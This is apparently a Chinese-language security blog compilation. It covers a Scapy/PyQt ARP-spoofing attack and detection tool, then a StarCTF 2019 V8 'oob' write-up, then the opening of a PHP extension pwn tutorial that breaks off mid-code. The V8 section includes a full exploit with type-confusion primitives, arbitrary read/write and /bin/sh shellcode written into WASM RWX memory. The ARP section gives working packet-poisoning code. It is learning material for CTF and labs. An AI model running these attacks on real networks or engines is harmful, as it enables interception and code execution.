arp_spoof

一、原理

1.攻击

(1)欺骗受害者

向受害者发包,欺骗受害者本机为网关,使得受害者的ARP表中本机的MAC地址为网关的MAC地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
def build_rep(target_ip, gateway_ip):
global self_mac
target_mac = getmacbyip(target_ip)
#print(gateway_ip)
if target_ip is None:
print("[-] Error: Could not resolve targets MAC address")
sys.exit(1)
# Ether对应包的src和dst ARP只会修改其中的ARP包,告诉dst,这个包的mac是hwsrc,ip是psrc,发给hwdst/pdst
pkt = Ether(src=self_mac, dst=target_mac) / ARP(hwsrc=self_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target_ip,
op=2)
# 本机mac 受欺骗的主机mac 本机mac 网关的ip地址 被攻击人的mac 被攻击人的ip OP值是表示请求还是回应 1:请求 2:回应
# 那么这种模式下即本机发往受害者,告诉受害者网关(psrc)的mac地址是本机(self_mac),下回依据IP查ARP表就会把应该发给网关的包通过mac发包发给本机
return pkt

(2)欺骗网关

向网关发包,欺骗网关受害者为本机,使得网关的ARP表中受害者的MAC地址为本机的MAC地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def build_req(target_ip, gateway_ip):
global self_mac
target_mac = getmacbyip(target_ip)
gateway_mac = getmacbyip(gateway_ip)
if target_mac is None:
print("[-] Error: Could not resolve targets MAC address")
sys.exit(1)

#Ether对应包的src和dst ARP只会修改其中的ARP包,告诉dst,这个包的mac是hwsrc,ip是psrc,发给hwdst/pdst
pkt = Ether(src=self_mac, dst=gateway_mac) / ARP(hwsrc=self_mac, psrc=target_ip, hwdst=gateway_mac, pdst = gateway_ip,
op=1)
# 本机mac 网关mac 本机mac 受欺骗的主机mac 网关mac 网关的ip地址 OP值是表示请求还是回应 1:请求 2:回应
# 那么这种模式下即本机发往网关,告诉网关受害者(psrc)的mac地址是本机(self_mac),下回依据IP查ARP表就会把应该发给受害者的包通过mac发包发给本机
return pkt

(3)欺骗所有人

向广播地址发包,使得所有人的ARP都被修改,从而欺骗所有人,这个没有实现,感觉动静太大,没啥用

2.防御

(1)检测

①rep模式

这种模式本机的arp表中的MAC地址会改变,linux下由于输入arp加载比较慢,估计后台会进行ping,所以使用ip neigh来获取,从中找到是否存在相同的MAC地址,从而判断是否被该模式攻击,即转化为set看长度是否相同

1
2
3
4
#detect_rep
if(len(ip_mac_dictionary) != len(set(ip_mac_dictionary.values()))):
print("rep_get")
rep_detect_flag = True

②req模式

这种模式下我们可以尝试arping网关,如果MAC地址没被修改,而arping网关不能通,那么就是网关被欺骗,依据此来进行检测

1
2
3
4
5
6
7
8
#detect_req
gateway_mac = getmacbyip(gateway_ip)
p = subprocess.Popen(["arping","-i",netD_name,"-c","1",gateway_mac], stdout=subprocess.PIPE)
for line in p.stdout.readlines():
line_splitby_space = line.decode("utf-8").strip().split(" ")
if("Timeout" in line_splitby_space):
req_detect_flag = True
break

(2)实际防御

①rep模式

直接将网关真实的MAC地址和对应IP进行静态绑定即可。获取网关真实MAC地址,可以使用getmacbyip函数,该函数会向局域网内广播,询问网关真实的MAC的地址,而攻击者那里肯定存在真实的MAC地址,所以基本一定能获得到真实的IP地址

image-20220307120520964

1
2
3
4
5
6
7
8
if(rep_detect_flag):
self.ui.defenseInfoText.appendPlainText("Defending against arp_rep attacks......")
build_rep_defense()
p = subprocess.Popen(["ip", "neigh"], stdout=subprocess.PIPE)
for line in p.stdout.readlines():
line_splitby_space = line.decode("utf-8").strip().split(" ")
if ("FAILED" not in line_splitby_space):
self.ui.defenseInfoText.appendPlainText('{:<30s}'.format(line_splitby_space[0]) + "\t" + line_splitby_space[4])

这里我直接修改所有的的IP_MAC为静态的

②req模式

由于是网关被欺骗了,所以我们也可以向网关发包,使其将我的IP和MAC真实写入ARP欺骗,但是攻击者可能会一直发包,所以我们也需要一直发包才能断续防御攻击,不过还是可能会丢不少包。

1
2
3
4
5
6
7
8
9
def build_req_defense():
global gateway_ip
global self_mac
self_ip = get_self_ip()
#self_mac = get_if_hwaddr(netD_name)
gateway_mac = getmacbyip(gateway_ip)
#Ether对应包的src和dst ARP只会修改其中的ARP包,告诉dst,这个包的mac是hwsrc,ip是psrc,发给hwdst/pdst
pkt = Ether(src=self_mac, dst=gateway_mac) / ARP(hwsrc=self_mac, psrc=self_ip, hwdst=gateway_mac, pdst = gateway_ip,op=1)
return pkt

如上设置包内容,告诉网关我才是真的。

或者有网关权限的,直接在网关的shell进行静态绑定。

二、pyQt界面

1.环境搭建

主要配合pycharm,先安装pyQt5,然后在对应的包里即可打开

1
2
pip3 install PyQt5
/home/hacker/.local/lib/python3.6/site-packages/qt5_applications/Qt/bin/designer

2.配合pycharm

主要设置一下即可

File->setting->Tools->External Tools->+一下工具

Qt_Designer

image-20220307112101403

直接点击即可加载

image-20220307112540614

UI转py

转完之后会比较舒服,因为在pycharm中可以提示相关的控件,但是直接load加载ui文件的话就没有提示。

image-20220307112150183

Arguments的命令参数为:

1
-m PyQt5.uic.pyuic $FileName$ -o $FileNameWithoutExtension$.py

目前好像py->ui没办法转回去

之后点击要转换的ui文件,然后对应的打开工具即可在当前文件夹下生成py文件

image-20220307112701929

对应就会生成window.py文件

3.界面启动

1
2
3
4
5
6
7
8
9
10
11
class MainWindow(QMainWindow):
def __init__(self):
super().__init__()
#导入ui
self.ui = Ui_MainWindow()

if __name__ == '__main__':
app = QApplication([])
myWindow = MainWindow()
myWindow.show()
sys.exit(app.exec_())

4.界面退出

一般界面都是多线程的,所以退出的时候一般需要加上一些东西将一些线程给关闭,安全退出,所以需要重写一下窗口关闭的closeEvent函数

1
2
3
4
5
def closeEvent(self, event):
for key in threads_flag_dictionary.keys():
threads_flag_dictionary[key].set()#相关线程终止flag设置
event.accept()
os._exit(0)

三、利用函数详解

1.发包函数

(1)Ether

主要就是使用Ether创建一个MAC数据帧头,即源MAC地址,要发往的MAC地址,这个不能更改,用来在局域网中设置发往的地方。

1
Ether(src=self_mac, dst=gateway_mac)

(2)ARP

这个就是用来伪造数据包中的ARP数据,可以随便改,目标主机接收到该数据包的时候,会判断是否和本机的ARP表是否相同,不同则会依据该ARP包来进行修改。

1
ARP(hwsrc=self_mac, psrc=target_ip, hwdst=gateway_mac, pdst = gateway_ip,op=1)

ARP欺骗主要就是修改hwsrc/psrc,使得目标主机的ARP表依据该hwsrc/psrc来对自己的ARP表进行写入。比如这里就是使得目标主机中的ARP表由原本正确的target_ip---target_MAC变为target_ip---self_mac

(3)实际发包

需要将Ether和ARP结合起来组成一个MAC帧pkt,然后就可以将该MAC帧发往网卡network driver

1
pkt = Ether(src=self_mac, dst=gateway_mac) / ARP(hwsrc=self_mac, psrc=target_ip, hwdst=gateway_mac, pdst = gateway_ip,op=1)

①send

工作在第三层网络层,发送IP数据包,包头需要是IP数据包头

1
send(IP(dst="192.168.1.107")/ICMP())

②sendp

工作在第二层链路层,发送MAC帧,包头需要是MAC帧头,即Ether

1
2
sendp(pkt, inter=2, iface=netD_name)
#这里pkt就是包,即Ether()/ARP()之类的

2.线程函数

使用pyQt线程函数,一般两种方法,比较喜欢用threading的

(1)线程启动

1
2
3
4
5
6
7
8
#设置终止信号,防止线程一直运行不停止
send_thread_defense_stop_flag = threading.Event()
#线程创建,对应self.send_pack函数,参数为args=(xxx,xxx,xxx)
send_thread = threading.Thread(target=self.send_pack, args=(pkt,send_thread_defense_stop_flag,"defense"))
#线程启动
send_thread.start()
#将终止信号添加进字典进行管理
threads_flag_dictionary['send_defense_thread'] = send_thread_defense_stop_flag

(2)线程阻塞

有时候需要线程阻塞,即完成该线程才进行下一步,那么就需要用到join函数

1
2
#用在send_thread.start()之后
send_thread.join()

(3)线程终止

即之前提到的设置对应的终止flag

1
2
3
4
5
6
#触发停止信号
threads_flag_dictionary['send_defense_thread'].set()

#send_pack函数中某些需要一直运行的代码块中
while (stop_flag.is_set()):
pass

3.其他功能性函数

(1)获取存活主机函数

由于ip neigh命令会从一个存活主机的缓冲区中获取相关的主机,但是实际上如果新加入一个主机,则不会显示出来,除非接收到该主机的包,所以我们需要主动去ping他们,看他们是否存活。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ip_prefix = '.'.join(gateway_ip.split('.')[:-1])
threads = []
for i in range(1, 256):
ip = '%s.%s' % (ip_prefix, i)
threads.append(threading.Thread(target=ping_ip, args={ip, }))
for i in threads:
i.start()
for i in threads:
i.join()

def ping_ip(ip_str):
cmd = ["ping", "-c","1", ip_str]
output = os.popen(" ".join(cmd)).readlines()
for line in output:
if str(line).upper().find("TTL") >= 0:
print("ip: %s 在线" % ip_str)

(2)获取本IP

1
2
3
4
5
def get_self_ip():
global netD_name
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(netD_name[:15],'utf-8')))[20:24])
self_ip = get_self_ip()

(3)从stdout获取输出

1
2
3
4
5
6
7
8
9
def get_conten_from_stdout(self,func):
sys.stdout = string_io = StringIO()
func()
sys.stdout = self._stdout
print_str = string_io.getvalue()
del string_io
return print_str

print_str = self.get_conten_from_stdout(pkt.show)

V8从0开始

一、环境搭建

参照[原创]v8利用初探 2019 StarCTF oob 复现分析-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

1.代理设置

1
2
git config --global http.proxy http://ip:port
export {http,https}_proxy="http://ip:port"

2.代码下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo "export PATH=/pathto/depot_tools:$PATH" >> ~/.bashrc
#获取v8源码
fetch v8
#切换题目对应版本的commit
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
# 工具同步
gclient sync
#应用题目的补丁文件
#一般而言出题都是人为给某个版本的v8加一个洞上去,所以用题目给的diff文件给引擎加洞
git apply ../oob.diff

#有的老版本最好还是用python2来编译,不然语法可能会出错
# 编译release版本
#测试exp用release版本,用debug版本测试通常会出错
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release

# 编译debug版本
#调试用debug版本
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug

二、前置知识

参考:从一道CTF题零基础学V8漏洞利用 - FreeBuf网络安全行业门户

1.调试知识

需要注意的是debug版本的用来辅助显示,直接是没办法运行相关代码的,realse用来实际运行。

(1)工具

常见的pwndbg,可以搭配如下的小工具

源码的/pathto/v8/tools目录下有专门用来调试v8的gdbinit,加在~/.gdbinit中即可

1
source /pathto/v8/tools/gdbinit

(2)函数

在运行./d8时加入--allow-natives-syntax选项,可以使用一些调试函数

1
2
3
4
5
./d8 --allow-natives-syntax
#或者配合gdb
gdb ./d8
set args --allow-natives-syntax ./test.js
r

如下函数

1
2
%DebugPrint(obj) //输出对象地址
%SystemBreak() //触发调试中断主要结合gdb等调试器使用,类似于python中的dbg()断点

示例代码如下:

1
2
3
4
5
6
7
8
9
var a = [1,2,3];
var b = [1.1, 2.2, 3.3];
var c = [a, b];
%DebugPrint(a);
%SystemBreak(); //触发第一次调试
%DebugPrint(b);
%SystemBreak(); //触发第二次调试
%DebugPrint(c);
%SystemBreak(); //触发第三次调试

2.基础知识

(1)对象内存讲解

1
var a = [1,2,3];

比如如下定义数组对象a,那么运行%DebugPrint(a);得到地址后,使用job命令可以看到如下的内存布局

image-20220301220834343

v8在内存中只有数字和对象两种表示。为了区分两者,v8在所有对象的内存地址末尾都加了1,以便表示它是个对象。因此上图该对象的实际内存地址应该为(0x346b7364dde9-1=0x346b7364dde8)

而对于数组对象则大致如下布局

map 表明了一个对象的类型对象,上图即为PACKED_SMI_ELEMENTS
prototype prototype
elements 对象元素
length 元素个数
properties 属性

而对于其中的elements元素也是一个对象,且地址位于对象a的上方,能看到里面的内容,也就是说先申请的elements这个元素内存,然后再申请的数组对象a

image-20220301222151967

那么总的内存布局如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
elements     ----> +------------------------+
| MAP +<---------+
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
+------------------------+ |
| ......... | |
ArrayObject ---->-------------------------+ |
| map | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements |+--------+|
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+

其他类型的对象都有些类似,可以自己去尝试看看

其中也不一定元素后面就跟的是ArrayObject的内容,也可能中间间隔了很多东西,比如如下情形,elements的地址和ArrayObject的地址差的还是挺大的,可能是内存分配上的一些问题吧?不太懂v8的内存分配是怎么实现的。

image-20220318205130634

(2)不同对象类型内存分布

①数组对象

1
var array = [1.1,2.2,3.3];

如下内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
elements     ----> +------------------------+<---------+
| MAP + |
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
+------------------------+ |
| ......... | |
ArrayObject ---->-------------------------+ |
| map | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements |+--------+|
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+

double或者float的数组也相似,就是map的类型为PACKED_DOUBLE_ELEMENTS

②对象数组对象

1
var objectArray = [a, b];//a,b为对象

即数组里存放的是对象,也是类似的,就是在elements中会有点不一样,相当于存放一个指针指向包含的对象,包括map的类型也不同,为PACKED_ELEMENTS

image-20220301223028101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
elementA     ----> +------------------------+<---------+
| MAP + |
+------------------------+ |
| Length + |
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
+------------------------+ |
| ......... | |
elementB ----> +------------------------+<---------+
| MAP + |
+------------------------+ |
| Length + |
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
+------------------------+ |
| ......... | |
ArrayObject ---->-------------------------+ |
| map | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements |+--------+|
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+

(3)类型混淆

即当我们能够修改ArrayObject的map属性时,就能够造成类型混淆。比如

1
2
3
4
5
6
7
8
9
10
11
12
let float_array = [1.1,2.2,3.3,4.4];//创建一个浮点数数组
let obj = {"a": 1};//创建一个对象
let obj_array = [obj];//创建一个对象数组
let float_array_map = float_array[4];//假设可以越界将float_array的map属性的值读出来

//假设可以越界写obj_array的map属性,修改为浮点数数组的map属性的值
obj_array[1] = float_array_map;

//由于obj_array的map属性被修改为浮点数数组的map属性
//那么此时当js去解析的时候,就会把obj_array[0]当作一个浮点数
//从而能够读出obj_array[0]的地址,即obj的地址
let obj_addr = f2i(obj_array[0]);//f2i为浮点转无符号整数函数

同样的,当我们能够修改把一个浮点数数组的map属性改为对象数组的map属性时,就能够使得v8认为该浮点数数组中的浮点数实际是一个对象,而我们控制数组中的变量的值为一个地址,这样就能将一个任意地址转化为一个obj对象了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let float_array = [1.1,2.2,3.3,4.4];//创建一个浮点数数组
let obj = {"a": 1};//创建一个对象
let obj_array = [obj];//创建一个对象数组
let obj_array_map = obj_array[1];//假设可以越界将obj_array的map属性的值读出来

//假设可以越界写float_array的map属性,修改为obj_array的map属性的值
float_array[4] = obj_array_map;

//由于float_array的map属性被修改为对象数组的map属性
//那么此时当js去解析的时候,就会把float_array[0]当作一个对象
//从而能够伪造任意地址为一个虚假的对象
fake_obj_addr = i2f(0x111111);//i2f为整数转浮点数
float_array[0] = fake_obj_addr;
let fake_obj = float_array[0];//获取该虚假对象

三、实际题目

参考:从一道CTF题零基础学V8漏洞利用 – backup (4hou.win)

1.题目分析

添加的diff如下,主要是一下两部分,其他部分加入的就只是为了正常运行而已

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
+    SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);


+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}




#以下两部分只是为了能正常运行这个添加的函数而已
+ CPP(ArrayOob) \


+ case Builtins::kArrayOob:
+ return Type::Receiver();

即添加了为数组对象ArrayOob添加了一个函数oob(),其功能为

  • 当参数只有一个(默认传入this指针),返回数组最后一个元素之后的元素
  • 当参数有两个(除了this指针之外再传入一个参数),就用我们传入的参数覆盖数组最后一个元素之后的元素
  • 其他情况下返回一个undefined

即该函数可以实现读/写数组对象MAP属性

2.漏洞分析

关键在于数组对象ArrayOob的内存空间,尝试看一下

1
2
3
let float_array = [1.1,2.2,3.3,4.4];
%DebugPrint(float_array);
%SystemBreak();

调试跑起来,查看elements处的内存

image-20220318201300196

即在数组对象的元素之后为数组对象的结构体,之前也提到过。而对象的map如果能被修改,就能引起v8的类型混淆,之前已经提到过。

那么我们利用类型混淆,来构造获取任意对象的地址的函数getAddress(obj)以及修改任意地址为对象的函数getFakeObj(addr)

(1)构造转化函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
let float_array = [1.1,2.2,3.3,4.4];//创建一个浮点数数组
let obj = {"a": 1};//创建一个对象
let obj_array = [obj];//创建一个对象数组
let float_array_map = float_array.oob()
let obj_array_map = obj_array.oob()

function getAddress(obj)
{
obj_array[0] = obj;//设置对象数组
obj_array.oob(float_array_map);//将原本是对象的map覆盖为浮点数数组的map,之后读取就会以浮点数组对象的形式读取
//从对象数组中读出对象,但是此时整个对象数组已经被改成浮点数组,所以会以浮点数数组形式读取,得到该对象的地址
//正常情况从对象数组中读取对象会返回一个对象,不是该对象的地址,但是转换成浮点数组就会读取到成员的地址,这就是类型混淆
let addr = mem.f2i(obj_array[0])
obj_array.oob(obj_map);//重新设置回来
return addr;
}


function getFakeObj(addr)
{
float_array[0] = mem.i2f(addr);//设置浮点数数组
float_array.oob(obj_array_map);//设置map属性将浮点数数组转化为对象数组
let fake_obj = float_array[0];//获取转化之后的对象数组,就能得到该fake_obj,其地址为addr,对象类型为字典对象
float_array.oob(float_map);//重新设置回来
return fake_obj;
}

实际测试一下

1
2
3
4
let obj_addr = getAddress(obj);
console.log("[*]obj_addr:"+hex(obj_addr));
%DebugPrint(obj)
%SystemBreak()

可以看到成功获取地址

image-20220322121328820

但是这么判断转化对象成功不太知道…

(2)利用转化函数构造任意读写

得到了上述的转化函数,那么我们可以借助这两个转化函数来获取任意地址读和任意地址写

原理:

利用getFakeObj将一个地址转化为一个浮点数组对象,而如果该地址指向的elements指针可控,那么我们就能够修改其elements指针,从而指向任意地方,去进行读写操作。

需要注意的是,由于依据elements读写的时候没有进行检测,所以只要成功修改了elements指针,那么我们我们就能从elements实际存放数据的地方,也就是*(elements+0x10)处读写我们的数据,造成任意地址读写。

假定申请fake_array[6],如下图布局

未命名文件 (2)

即如上图所示,设置fake_array_addr-0x40+0x10的地址为一个fake_obj,那么该fake_obj相关的属性如下

  • map即为float_array_map,可以由fake_array[0]进行控制,由此可以进行元素读写

  • protototype即设置为0,可由fake_array[1]进行控制

  • elements即设置为我们需要读写的地址,可由fake_array[2]进行控制

那么即可完成整个读写布局。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
let fake_array = [
float_array_map,
mem.i2f(0n),
mem.i2f(0x41414141n),
mem.i2f(0x1000000000n),
1.1,
2.2,
];
let fake_array_addr = getAddress(fake_array);
let fake_object_addr = fake_array_addr - 0x40n + 0x10n;
let fake_object = getFakeObj(fake_object_addr);

function read64(addr)
{
fake_array[2] = mem.i2f(addr - 0x10n + 0x1n);
let leak_data = mem.f2i(fake_object[0]);
console.log("[*] leak from: " +hex(addr) + ": " + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = mem.i2f(addr - 0x10n + 0x1n);
fake_object[0] = mem.i2f(data);
console.log("[*] write to : " +hex(addr) + ": " + hex(data));
}

测试效果:

1
2
3
4
5
6
%DebugPrint(fake_array);
console.log("[*] fake_array_addr:" + hex(fake_array_addr));
console.log("[*] fake_object_addr:" + hex(fake_object_addr));
read64(fake_array_addr-0x40n+0x28n-1n);
write64(fake_object_addr+0x18n-1n,0x01020304n);
%SystemBreak();

那么我们即读写fake_array[3]处的值,可以看到成功读写

image-20220322152925354

3.实际利用

(1)常规堆思路

通过泄露d8的ELF地址,计算其GOT表地址,任意读泄露出libc地址,然后覆盖free_hooksystem函数,之后通过console.log('/bin/sh\x00')即可释放一个包含/bin/sh的堆块完成利用

这个泄露地址部分有点不太好搞,随机泄露的部分没看,稳定泄露的部分不太对,获取到的不是d8中的指令地址,而是一个lib库的指令地址。

🔺后面补把

(2)利用WASM机制

如下可以将C语言直接转换为wasm并生成JS配套调用代码

WasmFiddle (wasdk.github.io)

wasm就是一个用来调用C代码的机制,可以自己去看看,但是不能赋予危险的代码来调用,只能运行数学计算、图像处理等系统无关的高级语言代码。

简单来说,我们可以创建一片WASM的空间,然后如果我们可以修改到这片运行WASM代码的内存空间(利用上述的任意写),修改其为shellcode,然后当d8调用WASM的接口时,就可以调用到我们的shellcode了。

而运行WASM代码的内存空间即为WASM_instance+0x88处

1
2
3
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, {});

也就是上述的wasmInstance地址+0x88处

其中wasmCode的功能为

1
2
3
int main() { 
return 42;
}

①泄露地址

1
2
3
4
let wasm_instance_addr = getAddress(wasmInstance);
console.log("[*] wasm_instance_addr: " + hex(wasm_instance_addr));
let rwx_page_addr = read64(wasm_instance_addr -1n + 0x88n);
console.log("[*] rwx_page_addr: " + hex(rwx_page_addr));

②写入shellcode到wasm的rwx段

这里有个问题,就是连续使用两次write64会出错,具体原因不清楚,说什么floatArray已经被篡改,再检测合法性会出错,被篡改成啥也不知道啊,这边有点问题,之后看能不能补上。

🔺

那么依据大佬的,需要进行修改,使用dataview来进行修改

原理即为

DataView对象中的backing_store会指向申请的data_bufbacking_store相当于我们的elements),修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。

🔺

不太懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function writeAny(addr,data)
{
let data_buf = new ArrayBuffer(data.length * 8);
let data_view = new DataView(data_buf);
let buf_backing_store_addr = getAddress(data_buf) + 0x20n;
console.log("[*] buf_backing_store_addr: "+hex(buf_backing_store_addr));

write64(buf_backing_store_addr-1n,addr);
for (let i = 0; i < data.length; ++i)
data_view.setFloat64(i * 8, mem.i2f(data[i]), true);
}


let shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
writeAny(rwx_page_addr,shellcode);

③调用wasm来执行shellcode

1
f();

直接通过这个调用即可。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
function hex(i)
{
return '0x'+i.toString(16).padStart(16, "0");
}
class Memory{
constructor(){
this.buf = new ArrayBuffer(16);
this.float64 = new Float64Array(this.buf);
// this.u32 = new Uint32Array(this.buf);
// this.bytes = new Uint8Array(this.buf);
this.bigUint64 = new BigUint64Array(this.buf);
}
f2i(val){
this.float64[0] = val;
return this.bigUint64[0];
}
i2f(val){
this.bigUint64[0] = val;
return this.float64[0];
}
}

let mem = new Memory()
let float_array = [1.1,2.2,3.3,4.4];//创建一个浮点数数组
let obj = {"a": 1};//创建一个对象
let obj_array = [obj];//创建一个对象数组
let float_array_map = float_array.oob()
let obj_array_map = obj_array.oob()


function getAddress(obj)
{
obj_array[0] = obj;//设置对象数组
obj_array.oob(float_array_map);//将原本是对象的map覆盖为浮点数数组的map,之后读取就会以浮点数组对象的形式读取
//从对象数组中读出对象,但是此时整个对象数组已经被改成浮点数组,所以会以浮点数数组形式读取,得到该对象的地址
//正常情况从对象数组中读取对象会返回一个对象,不是该对象的地址,但是转换成浮点数组就会读取到成员的地址,这就是类型混淆
let obj_addr = mem.f2i(obj_array[0])
obj_array.oob(obj_array_map);//重新设置回来
return obj_addr;
}


function getFakeObj(addr)
{
float_array[0] = mem.i2f(addr);//设置浮点数数组
float_array.oob(obj_array_map);//将浮点数数组转化为对象数组
let fake_obj = float_array[0];//获取转化之后的对象数组,就能得到该fake_obj,其地址为addr,对象类型为字典对象
float_array.oob(float_array_map);//重新设置回来
return fake_obj;
}




let fake_array = [
float_array_map,
mem.i2f(0n),
mem.i2f(0x41414141n),
mem.i2f(0x1000000000n),
1.1,
2.2,
];
let fake_array_addr = getAddress(fake_array);
let fake_object_addr = fake_array_addr - 0x40n + 0x10n;
let fake_object = getFakeObj(fake_object_addr);
console.log("[*] fake_array_addr:" + hex(fake_array_addr));
console.log("[*] fake_object_addr:" + hex(fake_object_addr));

function read64(addr)
{
fake_array[2] = mem.i2f(addr - 0x10n + 0x1n);
let leak_data = mem.f2i(fake_object[0]);
console.log("[*] leak from: " +hex(addr) + ": " + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = mem.i2f(addr - 0x10n + 0x1n);
fake_object[0] = mem.i2f(data);
console.log("[*] write to : " +hex(addr) + ": " + hex(data));
}

function writeAny(addr,data)
{
let data_buf = new ArrayBuffer(data.length * 8);
let data_view = new DataView(data_buf);
let buf_backing_store_addr = getAddress(data_buf) + 0x20n;
console.log("[*] buf_backing_store_addr: "+hex(buf_backing_store_addr));

write64(buf_backing_store_addr-1n,addr);
for (let i = 0; i < data.length; ++i)
data_view.setFloat64(i * 8, mem.i2f(data[i]), true);
}

let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f = wasmInstance.exports.main;
let wasm_instance_addr = getAddress(wasmInstance);
console.log("[*] wasm_instance_addr: " + hex(wasm_instance_addr));
let rwx_page_addr = read64(wasm_instance_addr -1n + 0x88n);
console.log("[*] rwx_page_addr: " + hex(rwx_page_addr));
let shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
writeAny(rwx_page_addr,shellcode);
//%SystemBreak();
f();

image-20220322194115446

starctf2019/pwn-OOB at master · sixstars/starctf2019 (github.com)

PHP_PWN入门

一、php拓展模块搭建和编写

1.创建模块模板

找到php源码目录

image-20220210174644261

然后使用ext_skel创建一个模板

1
./ext_skel --extname=helloworld

2.编译模块

随后进行编译,跳转到刚刚生成的模块文件夹路径/path_to_php_src/ext/helloworld,然后编译

1
2
/www/server/php/56/bin/phpize
./configure --with-php-config=/www/server/php/56/bin/php-config

这里需要指定一下--with-php-config,选择自己的php-config,当然如果本地的环境变量bin命令下直接有php-config也不用指定了,随后

1
make

这样就可以在当前目录下生成了

image-20220210175900511

其中helloworld.c即为创建的模板代码,但是不知道为什么5.6版本的编译完成后,不生成.so模块文件,可能是版本特性?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/* helloword extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_helloword.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif

/* {{{ void helloword_test1()
*/
PHP_FUNCTION(helloword_test1)
{
ZEND_PARSE_PARAMETERS_NONE();

